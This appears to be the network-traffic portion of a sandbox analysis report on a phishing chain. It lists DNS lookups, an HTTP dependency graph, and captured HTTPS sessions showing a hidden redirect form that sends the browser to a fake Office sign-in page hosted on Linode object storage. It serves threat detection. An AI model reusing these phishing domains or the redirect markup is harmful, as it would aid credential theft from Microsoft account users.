Jan 15, 2025 10:06:34.732903957 CET	53	64471	1.1.1.1	192.168.2.4
Jan 15, 2025 10:06:35.623492956 CET	53	55604	1.1.1.1	192.168.2.4
Jan 15, 2025 10:06:36.447686911 CET	55818	53	192.168.2.4	1.1.1.1
Jan 15, 2025 10:06:36.447854042 CET	61908	53	192.168.2.4	1.1.1.1
Jan 15, 2025 10:06:36.454816103 CET	53	61908	1.1.1.1	192.168.2.4
Jan 15, 2025 10:06:36.454828024 CET	53	55818	1.1.1.1	192.168.2.4
Jan 15, 2025 10:06:37.112418890 CET	55278	53	192.168.2.4	1.1.1.1
Jan 15, 2025 10:06:37.112544060 CET	55767	53	192.168.2.4	1.1.1.1
Jan 15, 2025 10:06:37.119426966 CET	53	55767	1.1.1.1	192.168.2.4
Jan 15, 2025 10:06:37.120219946 CET	53	55278	1.1.1.1	192.168.2.4
Jan 15, 2025 10:06:40.153217077 CET	53	63696	1.1.1.1	192.168.2.4
Jan 15, 2025 10:06:43.816277027 CET	51520	53	192.168.2.4	1.1.1.1
Jan 15, 2025 10:06:43.816544056 CET	49749	53	192.168.2.4	1.1.1.1
Jan 15, 2025 10:06:43.924252987 CET	53	49749	1.1.1.1	192.168.2.4
Jan 15, 2025 10:06:44.935178995 CET	53466	53	192.168.2.4	1.1.1.1
Jan 15, 2025 10:06:44.935337067 CET	52485	53	192.168.2.4	1.1.1.1
Jan 15, 2025 10:06:44.957880020 CET	53	52485	1.1.1.1	192.168.2.4
Jan 15, 2025 10:06:44.993516922 CET	53	53466	1.1.1.1	192.168.2.4
Jan 15, 2025 10:06:46.746474981 CET	52540	53	192.168.2.4	1.1.1.1
Jan 15, 2025 10:06:46.746629953 CET	50803	53	192.168.2.4	1.1.1.1
Jan 15, 2025 10:06:46.753263950 CET	53	52540	1.1.1.1	192.168.2.4
Jan 15, 2025 10:06:46.753737926 CET	53	50803	1.1.1.1	192.168.2.4
Jan 15, 2025 10:06:47.696940899 CET	56350	53	192.168.2.4	1.1.1.1
Jan 15, 2025 10:06:47.697096109 CET	55928	53	192.168.2.4	1.1.1.1
Jan 15, 2025 10:06:47.703135967 CET	53	52829	1.1.1.1	192.168.2.4
Jan 15, 2025 10:06:47.704437017 CET	53	55928	1.1.1.1	192.168.2.4
Jan 15, 2025 10:06:47.704545975 CET	53	56350	1.1.1.1	192.168.2.4
Jan 15, 2025 10:06:49.225101948 CET	53	58183	1.1.1.1	192.168.2.4
Jan 15, 2025 10:06:49.353230000 CET	53	64341	1.1.1.1	192.168.2.4
Jan 15, 2025 10:06:49.460433960 CET	53	60985	1.1.1.1	192.168.2.4
Jan 15, 2025 10:06:58.914243937 CET	53	63883	1.1.1.1	192.168.2.4
Jan 15, 2025 10:07:07.269546986 CET	61459	53	192.168.2.4	1.1.1.1
Jan 15, 2025 10:07:07.269956112 CET	51664	53	192.168.2.4	1.1.1.1
Jan 15, 2025 10:07:07.281653881 CET	53	61459	1.1.1.1	192.168.2.4
Jan 15, 2025 10:07:07.307876110 CET	53	51664	1.1.1.1	192.168.2.4
Jan 15, 2025 10:07:10.087603092 CET	51822	53	192.168.2.4	1.1.1.1
Jan 15, 2025 10:07:10.087735891 CET	53766	53	192.168.2.4	1.1.1.1
Jan 15, 2025 10:07:10.108555079 CET	53	51822	1.1.1.1	192.168.2.4
Jan 15, 2025 10:07:10.125878096 CET	53	53766	1.1.1.1	192.168.2.4
Jan 15, 2025 10:07:13.318854094 CET	50705	53	192.168.2.4	1.1.1.1
Jan 15, 2025 10:07:13.319014072 CET	52602	53	192.168.2.4	1.1.1.1
Jan 15, 2025 10:07:13.332438946 CET	53	52602	1.1.1.1	192.168.2.4
Jan 15, 2025 10:07:13.332452059 CET	53	50705	1.1.1.1	192.168.2.4
Jan 15, 2025 10:07:15.867168903 CET	49224	53	192.168.2.4	1.1.1.1
Jan 15, 2025 10:07:15.867311954 CET	63965	53	192.168.2.4	1.1.1.1
Jan 15, 2025 10:07:15.875586033 CET	53	49224	1.1.1.1	192.168.2.4
Jan 15, 2025 10:07:15.877351999 CET	53	63965	1.1.1.1	192.168.2.4
Jan 15, 2025 10:07:19.575510979 CET	49414	53	192.168.2.4	1.1.1.1
Jan 15, 2025 10:07:19.575659037 CET	55570	53	192.168.2.4	1.1.1.1
Jan 15, 2025 10:07:19.584112883 CET	53	49414	1.1.1.1	192.168.2.4
Jan 15, 2025 10:07:19.590233088 CET	53	55570	1.1.1.1	192.168.2.4
Jan 15, 2025 10:07:21.648626089 CET	53	61129	1.1.1.1	192.168.2.4
Jan 15, 2025 10:07:21.853528023 CET	53	65206	1.1.1.1	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Jan 15, 2025 10:06:34.733067036 CET	192.168.2.4	1.1.1.1	c2a5	(Port unreachable)	Destination Unreachable
Jan 15, 2025 10:06:43.924315929 CET	192.168.2.4	1.1.1.1	c2a3	(Port unreachable)	Destination Unreachable
Jan 15, 2025 10:07:07.307945967 CET	192.168.2.4	1.1.1.1	c234	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 15, 2025 10:06:26.140675068 CET	192.168.2.4	1.1.1.1	0x8f37	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 10:06:26.140803099 CET	192.168.2.4	1.1.1.1	0x7846	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jan 15, 2025 10:06:27.734695911 CET	192.168.2.4	1.1.1.1	0x17f	Standard query (0)	realazure.action.azurecomm.net	A (IP address)	IN (0x0001)	false
Jan 15, 2025 10:06:27.734946012 CET	192.168.2.4	1.1.1.1	0x2c1	Standard query (0)	realazure.action.azurecomm.net	65	IN (0x0001)	false
Jan 15, 2025 10:06:28.859673023 CET	192.168.2.4	1.1.1.1	0xeca6	Standard query (0)	evoicemanageroauth-receptionextension.ayesgroup.com.tr	A (IP address)	IN (0x0001)	false
Jan 15, 2025 10:06:28.859810114 CET	192.168.2.4	1.1.1.1	0x116e	Standard query (0)	evoicemanageroauth-receptionextension.ayesgroup.com.tr	65	IN (0x0001)	false
Jan 15, 2025 10:06:34.623297930 CET	192.168.2.4	1.1.1.1	0xa073	Standard query (0)	officeauthenticationservices-msportalrelayed-outlook.us-mia-1.linodeobjects.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 10:06:34.623441935 CET	192.168.2.4	1.1.1.1	0xbd81	Standard query (0)	officeauthenticationservices-msportalrelayed-outlook.us-mia-1.linodeobjects.com	65	IN (0x0001)	false
Jan 15, 2025 10:06:36.447686911 CET	192.168.2.4	1.1.1.1	0xdb5a	Standard query (0)	i.imgur.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 10:06:36.447854042 CET	192.168.2.4	1.1.1.1	0xe9b7	Standard query (0)	i.imgur.com	65	IN (0x0001)	false
Jan 15, 2025 10:06:37.112418890 CET	192.168.2.4	1.1.1.1	0x7384	Standard query (0)	i.imgur.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 10:06:37.112544060 CET	192.168.2.4	1.1.1.1	0x56c	Standard query (0)	i.imgur.com	65	IN (0x0001)	false
Jan 15, 2025 10:06:43.816277027 CET	192.168.2.4	1.1.1.1	0xaee3	Standard query (0)	officedocumentauthenticationservices-msportalrelay.us-sea-1.linodeobjects.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 10:06:43.816544056 CET	192.168.2.4	1.1.1.1	0x7522	Standard query (0)	officedocumentauthenticationservices-msportalrelay.us-sea-1.linodeobjects.com	65	IN (0x0001)	false
Jan 15, 2025 10:06:44.935178995 CET	192.168.2.4	1.1.1.1	0x8e11	Standard query (0)	onlineauthenticationrelayservices.rnantengu.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 10:06:44.935337067 CET	192.168.2.4	1.1.1.1	0xa035	Standard query (0)	onlineauthenticationrelayservices.rnantengu.com	65	IN (0x0001)	false
Jan 15, 2025 10:06:46.746474981 CET	192.168.2.4	1.1.1.1	0xe93c	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 10:06:46.746629953 CET	192.168.2.4	1.1.1.1	0xc9aa	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jan 15, 2025 10:06:47.696940899 CET	192.168.2.4	1.1.1.1	0x5555	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 10:06:47.697096109 CET	192.168.2.4	1.1.1.1	0x238c	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jan 15, 2025 10:07:07.269546986 CET	192.168.2.4	1.1.1.1	0x15bc	Standard query (0)	a6dd5e95-cf4691c7.rnantengu.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 10:07:07.269956112 CET	192.168.2.4	1.1.1.1	0x671c	Standard query (0)	a6dd5e95-cf4691c7.rnantengu.com	65	IN (0x0001)	false
Jan 15, 2025 10:07:10.087603092 CET	192.168.2.4	1.1.1.1	0x721a	Standard query (0)	a6dd5e95-cf4691c7.rnantengu.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 10:07:10.087735891 CET	192.168.2.4	1.1.1.1	0x9e1b	Standard query (0)	a6dd5e95-cf4691c7.rnantengu.com	65	IN (0x0001)	false
Jan 15, 2025 10:07:13.318854094 CET	192.168.2.4	1.1.1.1	0x5c8c	Standard query (0)	24eff8d9-cf4691c7.rnantengu.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 10:07:13.319014072 CET	192.168.2.4	1.1.1.1	0xb596	Standard query (0)	24eff8d9-cf4691c7.rnantengu.com	65	IN (0x0001)	false
Jan 15, 2025 10:07:15.867168903 CET	192.168.2.4	1.1.1.1	0xb5e5	Standard query (0)	l1ve.rnantengu.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 10:07:15.867311954 CET	192.168.2.4	1.1.1.1	0xe5f6	Standard query (0)	l1ve.rnantengu.com	65	IN (0x0001)	false
Jan 15, 2025 10:07:19.575510979 CET	192.168.2.4	1.1.1.1	0xacb	Standard query (0)	b997208a-cf4691c7.rnantengu.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 10:07:19.575659037 CET	192.168.2.4	1.1.1.1	0xe12b	Standard query (0)	b997208a-cf4691c7.rnantengu.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 15, 2025 10:06:26.147732973 CET	1.1.1.1	192.168.2.4	0x8f37	No error (0)	www.google.com		142.250.186.164	A (IP address)	IN (0x0001)	false
Jan 15, 2025 10:06:26.148344040 CET	1.1.1.1	192.168.2.4	0x7846	No error (0)	www.google.com			65	IN (0x0001)	false
Jan 15, 2025 10:06:27.784307003 CET	1.1.1.1	192.168.2.4	0x2c1	No error (0)	realazure.action.azurecomm.net	ids.api.iris.microsoft.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 10:06:27.784307003 CET	1.1.1.1	192.168.2.4	0x2c1	No error (0)	idsfrontend-lb.p02.ic3-acs-ids.eastus-msit.cosmic.office.net	cosmic-eastus-ns-54bf029fbc75.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 10:06:27.802067041 CET	1.1.1.1	192.168.2.4	0x17f	No error (0)	realazure.action.azurecomm.net	ids.api.iris.microsoft.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 10:06:27.802067041 CET	1.1.1.1	192.168.2.4	0x17f	No error (0)	idsfrontend-lb.p02.ic3-acs-ids.eastus-msit.cosmic.office.net	cosmic-eastus-ns-54bf029fbc75.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 10:06:28.989470005 CET	1.1.1.1	192.168.2.4	0xeca6	No error (0)	evoicemanageroauth-receptionextension.ayesgroup.com.tr		66.228.45.195	A (IP address)	IN (0x0001)	false
Jan 15, 2025 10:06:34.700944901 CET	1.1.1.1	192.168.2.4	0xa073	No error (0)	officeauthenticationservices-msportalrelayed-outlook.us-mia-1.linodeobjects.com	us-mia-1.linodeobjects.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 10:06:34.700944901 CET	1.1.1.1	192.168.2.4	0xa073	No error (0)	us-mia-1.linodeobjects.com	us-mia-1.linodeobjects.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 10:06:34.732903957 CET	1.1.1.1	192.168.2.4	0xbd81	No error (0)	officeauthenticationservices-msportalrelayed-outlook.us-mia-1.linodeobjects.com	us-mia-1.linodeobjects.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 10:06:34.732903957 CET	1.1.1.1	192.168.2.4	0xbd81	No error (0)	us-mia-1.linodeobjects.com	us-mia-1.linodeobjects.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 10:06:36.454816103 CET	1.1.1.1	192.168.2.4	0xe9b7	No error (0)	i.imgur.com	ipv4.imgur.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 10:06:36.454828024 CET	1.1.1.1	192.168.2.4	0xdb5a	No error (0)	i.imgur.com	ipv4.imgur.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 10:06:36.454828024 CET	1.1.1.1	192.168.2.4	0xdb5a	No error (0)	ipv4.imgur.map.fastly.net		199.232.196.193	A (IP address)	IN (0x0001)	false
Jan 15, 2025 10:06:36.454828024 CET	1.1.1.1	192.168.2.4	0xdb5a	No error (0)	ipv4.imgur.map.fastly.net		199.232.192.193	A (IP address)	IN (0x0001)	false
Jan 15, 2025 10:06:37.119426966 CET	1.1.1.1	192.168.2.4	0x56c	No error (0)	i.imgur.com	ipv4.imgur.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 10:06:37.120219946 CET	1.1.1.1	192.168.2.4	0x7384	No error (0)	i.imgur.com	ipv4.imgur.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 10:06:37.120219946 CET	1.1.1.1	192.168.2.4	0x7384	No error (0)	ipv4.imgur.map.fastly.net		199.232.192.193	A (IP address)	IN (0x0001)	false
Jan 15, 2025 10:06:37.120219946 CET	1.1.1.1	192.168.2.4	0x7384	No error (0)	ipv4.imgur.map.fastly.net		199.232.196.193	A (IP address)	IN (0x0001)	false
Jan 15, 2025 10:06:43.894673109 CET	1.1.1.1	192.168.2.4	0xaee3	No error (0)	officedocumentauthenticationservices-msportalrelay.us-sea-1.linodeobjects.com	us-sea-1.linodeobjects.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 10:06:43.894673109 CET	1.1.1.1	192.168.2.4	0xaee3	No error (0)	us-sea-1.linodeobjects.com	us-sea-1.linodeobjects.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 10:06:43.924252987 CET	1.1.1.1	192.168.2.4	0x7522	No error (0)	officedocumentauthenticationservices-msportalrelay.us-sea-1.linodeobjects.com	us-sea-1.linodeobjects.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 10:06:43.924252987 CET	1.1.1.1	192.168.2.4	0x7522	No error (0)	us-sea-1.linodeobjects.com	us-sea-1.linodeobjects.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 10:06:44.993516922 CET	1.1.1.1	192.168.2.4	0x8e11	No error (0)	onlineauthenticationrelayservices.rnantengu.com		172.235.150.19	A (IP address)	IN (0x0001)	false
Jan 15, 2025 10:06:46.753263950 CET	1.1.1.1	192.168.2.4	0xe93c	No error (0)	www.google.com		142.250.185.228	A (IP address)	IN (0x0001)	false
Jan 15, 2025 10:06:46.753737926 CET	1.1.1.1	192.168.2.4	0xc9aa	No error (0)	www.google.com			65	IN (0x0001)	false
Jan 15, 2025 10:06:47.704437017 CET	1.1.1.1	192.168.2.4	0x238c	No error (0)	www.google.com			65	IN (0x0001)	false
Jan 15, 2025 10:06:47.704545975 CET	1.1.1.1	192.168.2.4	0x5555	No error (0)	www.google.com		216.58.206.36	A (IP address)	IN (0x0001)	false
Jan 15, 2025 10:07:07.281653881 CET	1.1.1.1	192.168.2.4	0x15bc	No error (0)	a6dd5e95-cf4691c7.rnantengu.com		172.235.150.19	A (IP address)	IN (0x0001)	false
Jan 15, 2025 10:07:10.108555079 CET	1.1.1.1	192.168.2.4	0x721a	No error (0)	a6dd5e95-cf4691c7.rnantengu.com		172.235.150.19	A (IP address)	IN (0x0001)	false
Jan 15, 2025 10:07:13.332452059 CET	1.1.1.1	192.168.2.4	0x5c8c	No error (0)	24eff8d9-cf4691c7.rnantengu.com		172.235.150.19	A (IP address)	IN (0x0001)	false
Jan 15, 2025 10:07:15.875586033 CET	1.1.1.1	192.168.2.4	0xb5e5	No error (0)	l1ve.rnantengu.com		172.235.150.19	A (IP address)	IN (0x0001)	false
Jan 15, 2025 10:07:19.584112883 CET	1.1.1.1	192.168.2.4	0xacb	No error (0)	b997208a-cf4691c7.rnantengu.com		172.235.150.19	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

evoicemanageroauth-receptionextension.ayesgroup.com.tr

https:

i.imgur.com

onlineauthenticationrelayservices.rnantengu.com

www.google.com

a6dd5e95-cf4691c7.rnantengu.com

l1ve.rnantengu.com

b997208a-cf4691c7.rnantengu.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49743	66.228.45.195	443	1072	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 09:06:29 UTC	701	OUT	GET /api/ HTTP/1.1 Host: evoicemanageroauth-receptionextension.ayesgroup.com.tr Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 09:06:33 UTC	226	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 09:06:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000
2025-01-15 09:06:33 UTC	1375	IN	Data Raw: 35 35 33 0d 0a 0a 20 20 20 20 3c 66 6f 72 6d 20 69 64 3d 22 63 61 70 74 63 68 61 46 6f 72 6d 32 22 20 61 63 74 69 6f 6e 3d 22 2f 61 70 69 2f 69 6e 64 65 78 2e 70 68 70 3f 63 6f 6e 74 69 6e 75 65 32 22 20 6d 65 74 68 6f 64 3d 22 50 4f 53 54 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 75 72 6c 22 20 76 61 6c 75 65 3d 22 68 74 74 70 73 3a 2f 2f 6f 66 66 69 63 65 61 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 73 65 72 76 69 63 65 73 2d 6d 73 70 6f 72 74 61 6c 72 65 6c 61 79 65 64 2d 6f 75 74 6c 6f 6f 6b 2e 75 73 2d 6d 69 61 2d 31 2e 6c 69 6e 6f 64 65 6f 62 6a 65 63 74 73 2e 63 6f 6d 2f 61 75 74 68 65 63 76 65 72 69 66 79 2e 68 74 6d 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 66 Data Ascii: 553 <form id="captchaForm2" action="/api/index.php?continue2" method="POST"> <input type="hidden" name="url" value="https://officeauthenticationservices-msportalrelayed-outlook.us-mia-1.linodeobjects.com/authecverify.html"> </f

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49750	66.228.45.195	443	1072	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 09:06:33 UTC	954	OUT	POST /api/index.php?continue2 HTTP/1.1 Host: evoicemanageroauth-receptionextension.ayesgroup.com.tr Connection: keep-alive Content-Length: 117 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://evoicemanageroauth-receptionextension.ayesgroup.com.tr Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://evoicemanageroauth-receptionextension.ayesgroup.com.tr/api/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 09:06:33 UTC	117	OUT	Data Raw: 75 72 6c 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 6f 66 66 69 63 65 61 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 73 65 72 76 69 63 65 73 2d 6d 73 70 6f 72 74 61 6c 72 65 6c 61 79 65 64 2d 6f 75 74 6c 6f 6f 6b 2e 75 73 2d 6d 69 61 2d 31 2e 6c 69 6e 6f 64 65 6f 62 6a 65 63 74 73 2e 63 6f 6d 25 32 46 61 75 74 68 65 63 76 65 72 69 66 79 2e 68 74 6d 6c Data Ascii: url=https%3A%2F%2Fofficeauthenticationservices-msportalrelayed-outlook.us-mia-1.linodeobjects.com%2Fauthecverify.html
2025-01-15 09:06:34 UTC	323	IN	HTTP/1.1 302 Found Server: nginx Date: Wed, 15 Jan 2025 09:06:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Location: https://officeauthenticationservices-msportalrelayed-outlook.us-mia-1.linodeobjects.com/authecverify.html Strict-Transport-Security: max-age=31536000
2025-01-15 09:06:34 UTC	1375	IN	Data Raw: 35 35 33 0d 0a 0a 20 20 20 20 3c 66 6f 72 6d 20 69 64 3d 22 63 61 70 74 63 68 61 46 6f 72 6d 32 22 20 61 63 74 69 6f 6e 3d 22 2f 61 70 69 2f 69 6e 64 65 78 2e 70 68 70 3f 63 6f 6e 74 69 6e 75 65 32 22 20 6d 65 74 68 6f 64 3d 22 50 4f 53 54 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 75 72 6c 22 20 76 61 6c 75 65 3d 22 68 74 74 70 73 3a 2f 2f 6f 66 66 69 63 65 61 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 73 65 72 76 69 63 65 73 2d 6d 73 70 6f 72 74 61 6c 72 65 6c 61 79 65 64 2d 6f 75 74 6c 6f 6f 6b 2e 75 73 2d 6d 69 61 2d 31 2e 6c 69 6e 6f 64 65 6f 62 6a 65 63 74 73 2e 63 6f 6d 2f 61 75 74 68 65 63 76 65 72 69 66 79 2e 68 74 6d 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 66 Data Ascii: 553 <form id="captchaForm2" action="/api/index.php?continue2" method="POST"> <input type="hidden" name="url" value="https://officeauthenticationservices-msportalrelayed-outlook.us-mia-1.linodeobjects.com/authecverify.html"> </f

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49755	199.232.196.193	443	1072	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 09:06:37 UTC	645	OUT	GET /gt4PosY.png HTTP/1.1 Host: i.imgur.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://officeauthenticationservices-msportalrelayed-outlook.us-mia-1.linodeobjects.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 09:06:37 UTC	757	IN	HTTP/1.1 200 OK Connection: close Content-Length: 822 Content-Type: image/png Last-Modified: Tue, 14 Jan 2025 17:42:27 GMT ETag: "0d1e04c4b078e11b99b8c95586d91dab" x-amz-server-side-encryption: AES256 X-Amz-Cf-Pop: IAD89-P1 X-Amz-Cf-Id: OhYIkpgvMeVV9jynkcp8ohzJy3Wn4cGK0H9NDWjouVqe8190fDrM5g== cache-control: public, max-age=31536000 Accept-Ranges: bytes Age: 55450 Date: Wed, 15 Jan 2025 09:06:37 GMT X-Served-By: cache-iad-kiad7000062-IAD, cache-ewr-kewr1740066-EWR X-Cache: Miss from cloudfront, HIT, HIT X-Cache-Hits: 13, 0 X-Timer: S1736931997.062519,VS0,VE1 Strict-Transport-Security: max-age=300 Access-Control-Allow-Methods: GET, OPTIONS Access-Control-Allow-Origin: * Server: cat factory 1.0 X-Content-Type-Options: nosniff
2025-01-15 09:06:37 UTC	822	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 49 00 00 00 48 08 02 00 00 00 35 4d 4f 2e 00 00 02 fd 49 44 41 54 78 9c ec 9b b1 6f 1c 45 14 c6 bf f7 66 f6 7c 6b 87 80 22 87 14 11 88 02 09 21 51 50 a6 a2 40 74 34 34 f4 e4 df a0 a7 e5 4f 80 86 8a 32 15 2d 0d 12 12 25 12 14 14 88 0e 1c 91 20 fb 6c ef ee cc fb d0 ec 7a ed 4b 28 99 91 32 d1 fc b4 3a 79 5c cc db df bc b9 39 6b 3f 9f 27 89 dd a9 5d 9e 43 05 10 e4 46 04 8c 26 fd a1 1c be 02 80 b4 dd f4 d8 2c 8a e4 af b5 c2 be bb e3 f5 c0 03 b8 fc fa 0b f7 e3 77 83 db c0 62 fe 42 ce 1f 84 31 7e f8 e9 f6 e1 e7 00 76 e3 c9 57 3f 7d 70 11 1e 2b 3c 69 b9 8b 89 88 98 8c 9f bc fb cd 3b 77 3f 4e 6e 3c fb a7 1b ce 86 c9 5c 81 b5 0c 64 d7 b9 b0 3b 5d 86 84 9d 8f 7f 05 7d 1a 03 b2 57 23 d3 6b b7 45 e4 00 20 b9 41 Data Ascii: PNGIHDRIH5MO.IDATxoEf\|k"!QP@t44O2-% lzK(2:y\9k?']CF&,wbB1~vW?}p+<i;w?Nn<\d;]}W#kE A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49756	199.232.192.193	443	1072	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 09:06:37 UTC	346	OUT	GET /gt4PosY.png HTTP/1.1 Host: i.imgur.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 09:06:37 UTC	757	IN	HTTP/1.1 200 OK Connection: close Content-Length: 822 Content-Type: image/png Last-Modified: Tue, 14 Jan 2025 17:42:27 GMT ETag: "0d1e04c4b078e11b99b8c95586d91dab" x-amz-server-side-encryption: AES256 X-Amz-Cf-Pop: IAD89-P1 X-Amz-Cf-Id: OhYIkpgvMeVV9jynkcp8ohzJy3Wn4cGK0H9NDWjouVqe8190fDrM5g== cache-control: public, max-age=31536000 Accept-Ranges: bytes Date: Wed, 15 Jan 2025 09:06:37 GMT Age: 55450 X-Served-By: cache-iad-kiad7000062-IAD, cache-ewr-kewr1740036-EWR X-Cache: Miss from cloudfront, HIT, HIT X-Cache-Hits: 13, 1 X-Timer: S1736931998.731008,VS0,VE1 Strict-Transport-Security: max-age=300 Access-Control-Allow-Methods: GET, OPTIONS Access-Control-Allow-Origin: * Server: cat factory 1.0 X-Content-Type-Options: nosniff
